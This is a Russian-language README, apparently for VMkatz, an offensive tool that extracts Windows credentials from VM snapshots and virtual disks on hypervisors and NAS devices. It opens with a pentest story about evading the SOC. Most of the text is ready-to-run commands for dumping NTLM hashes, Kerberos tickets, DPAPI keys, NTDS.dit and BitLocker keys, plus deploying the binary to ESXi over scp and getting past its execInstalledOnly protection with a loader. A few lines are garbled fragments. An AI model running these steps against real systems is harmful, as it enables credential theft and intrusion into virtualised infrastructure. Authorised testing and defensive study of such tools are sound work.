
Извлечение учетных данных Windows непосредственно из снимков памяти виртуальных машин и виртуальных дисков
Вы на третьей неделе пентеста. Ваш трафик ползет через VPN, затем проходит через четыре SOCKS-прокси, соединенные цепочкой через скомпрометированные перемычки (jump boxes), прежде чем коснуться целевой сети. Каждый пакет идет кружным путем.
После дней латерального перемещения вы оказываетесь на NAS, подключенном к кластеру виртуализации, и список каталогов выглядит иначе: строки за строками .vmdk, .vmsn, .sav. Сотни гигабайт виртуальных машин — контроллеры домена, административные рабочие станции, самые ценные активы — прямо перед вами.
Но ваше соединение едва тянет со скоростью 200 КБ/с. Загрузка одного образа диска объемом 100 ГБ займет шесть дней, и каждый час непрерывной эксфильтрации — это еще один шанс, что SOC заметит аномалию, сожжет ваш туннель, и вся цепочка рухнет.
VMkatz существует, потому что вам не нужно эксфильтровать то, что можно прочитать на месте. Он извлекает секреты Windows — NTLM-хеши, мастер-ключи DPAPI, билеты Kerberos, кэшированные доменные учетные данные, секреты LSA, NTDS.dit, ключи BitLocker — напрямую из снимков памяти ВМ и виртуальных дисков, на NAS, на гипервизоре, везде, где находятся файлы ВМ.
Единый статический бинарник ~3 МБ. Закиньте его на хост ESXi, узел Proxmox или NAS. Укажите ему на .vmsn, .vmdk или целую папку ВМ. Уходите с учетными данными, а не с образами дисков.
Все 9 поставщиков учетных данных SSP, которые реализует mimikatz:
Плюс: извлечение BitLocker FVEK из памяти (сканирование тегов пула для FVEc/Cngb).
$DPAPImk$ — режимы 15300/15310/15900/15910)Целевая ОС: Windows Server 2003 до Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Извлечение учетных данных LSASS из снимка VMware
./vmkatz snapshot.vmsn
# С разрешением файла подкачки для выгруженных учетных данных
./vmkatz --disk disk.vmdk snapshot.vmsn
# Извлечение SAM/LSA/DCC2 из виртуального диска
./vmkatz disk.vmdk
# Извлечение хешей AD из диска контроллера домена
./vmkatz --ntds dc-disk.qcow2
# Укажите папку ВМ и позвольте всему найтись
./vmkatz /path/to/vm-directory/
# Извлечение из сырых кустов реестра
./vmkatz SAM SYSTEM SECURITY
# Вывод в виде хешей, готовых для hashcat
./vmkatz --format hashcat snapshot.vmsn
# Экспорт билетов Kerberos
./vmkatz --kirbi snapshot.vmsn # файлы .kirbi
./vmkatz --ccache snapshot.vmsn # файл .ccache
# Экспорт BitLocker FVEK для dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Рекурсивное сканирование всех ВМ в каталоге
./vmkatz -r /vmfs/volumes/datastore1/
# Разбор минидампа LSASS
./vmkatz lsass.dmp
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Когда включена защита VIB (execInstalledOnly), используйте загрузчик Python — нет необходимости отключать настройку:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Смотрите docs/esxi.md для получения подробностей об обходе VIB, доступе к сырым устройствам VMFS и автообнаружении.
VMkatz модульный. Функции можно включать/отключать во время компиляции:
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
| Поставщик | Данные | Примечания |
|---|
| MSV1_0 | NT/LM хеши, SHA1 | Физический скан для страничных записей (запасной вариант) |
| WDigest | Пароли в открытом виде | Обход связного списка + запасной вариант .data |
| Kerberos | Ключи AES/RC4/DES, билеты (.kirbi/.ccache) | Обход AVL-дерева + извлечение билетов из освобожденных сессий |
| TsPkg | Пароли в открытом виде | Только сеансы RDP |
| DPAPI | Кэш мастер-ключей (GUID + расшифрованный ключ) | Мастер-ключ SHA1 для офлайн-расшифровки DPAPI |
| SSP | Учетные данные в открытом виде | SspCredentialList в msv1_0.dll |
| LiveSSP | Учетные данные в открытом виде | Требует livessp.dll (редко после Win8) |
| Credman | Сохраненные учетные данные | Хеш-таблица + перечисление одиночного списка |
| CloudAP | Токены Azure AD | Обычно пусто для локального входа |
| Формат | Расширения | Источник | Статус |
|---|
| Снимки VMware | .vmsn + .vmem | Workstation, ESXi | Протестировано |
| Встроенные снимки VMware | .vmsn (без .vmem) | ESXi suspend | Протестировано |
| Сохраненные состояния VirtualBox | .sav | VirtualBox | Протестировано |
| Состояния savevm QEMU/KVM | автоопределение | Proxmox, QEMU | Протестировано |
| Дампы ядра ELF QEMU/KVM | .elf | virsh dump | Протестировано |
| Сохраненные состояния Hyper-V | .vmrs | Hyper-V 2016+ | Не тестировалось |
| Виртуальные диски VMware | .vmdk (разреженные + плоские) | Workstation, ESXi | Протестировано |
| Виртуальные диски VirtualBox | .vdi | VirtualBox | Протестировано |
| Виртуальные диски QEMU/KVM | .qcow2 | QEMU, Proxmox | Протестировано |
| Виртуальные диски Hyper-V | .vhdx, .vhd | Hyper-V | Протестировано |
| Сырые SCSI-устройства VMFS-5/6 | /dev/disks/... | ESXi (обходит блокировки файлов) | Протестировано |
| Блочные устройства LVM | /dev/... | Proxmox LVM-thin | Протестировано |
| Сырые кусты реестра | SAM, SYSTEM, SECURITY | reg save | Протестировано |
| Сырой NTDS.dit | ntds.dit + SYSTEM | Контроллер домена | Протестировано |
| Минидамп LSASS | .dmp | procdump, Диспетчер задач | Протестировано |
| Директории ВМ | любая папка | Автоматически обнаруживает все файлы | Протестировано |
| Формат | Флаг | Описание |
|---|
text | --format text (по умолчанию) | Полный дамп учетных данных с метаданными сессии |
brief | --format brief | Компактная сводка по одной строке на учетные данные |
ntlm | --format ntlm | Формат pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Сырые хеши: режим 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Машиночитаемый, все поля |
| Функция | Описание | По умолчанию |
|---|
vmware | Поддержка снимков VMware .vmsn/.vmem | Да |
vbox | Поддержка сохраненных состояний VirtualBox .sav | Да |
qemu | QEMU/KVM ELF дампы ядра + Proxmox savevm | Да |
hyperv | Поддержка дампов Hyper-V .vmrs/.bin/.raw | Да |
sam | Извлечение с дисков (SAM/LSA/DCC2) + обработчики форматов дисков | Да |
ntds.dit | Извлечение AD из NTDS.dit. Требует sam | Да |
carve | Ухудшенное извлечение из частичной/урезанной памяти | Да |
dump | Дамп памяти процесса в виде минидампа | Да |
vmfs | Сырой парсер VMFS-5/6 для SCSI-устройств ESXi. Требует sam | Да |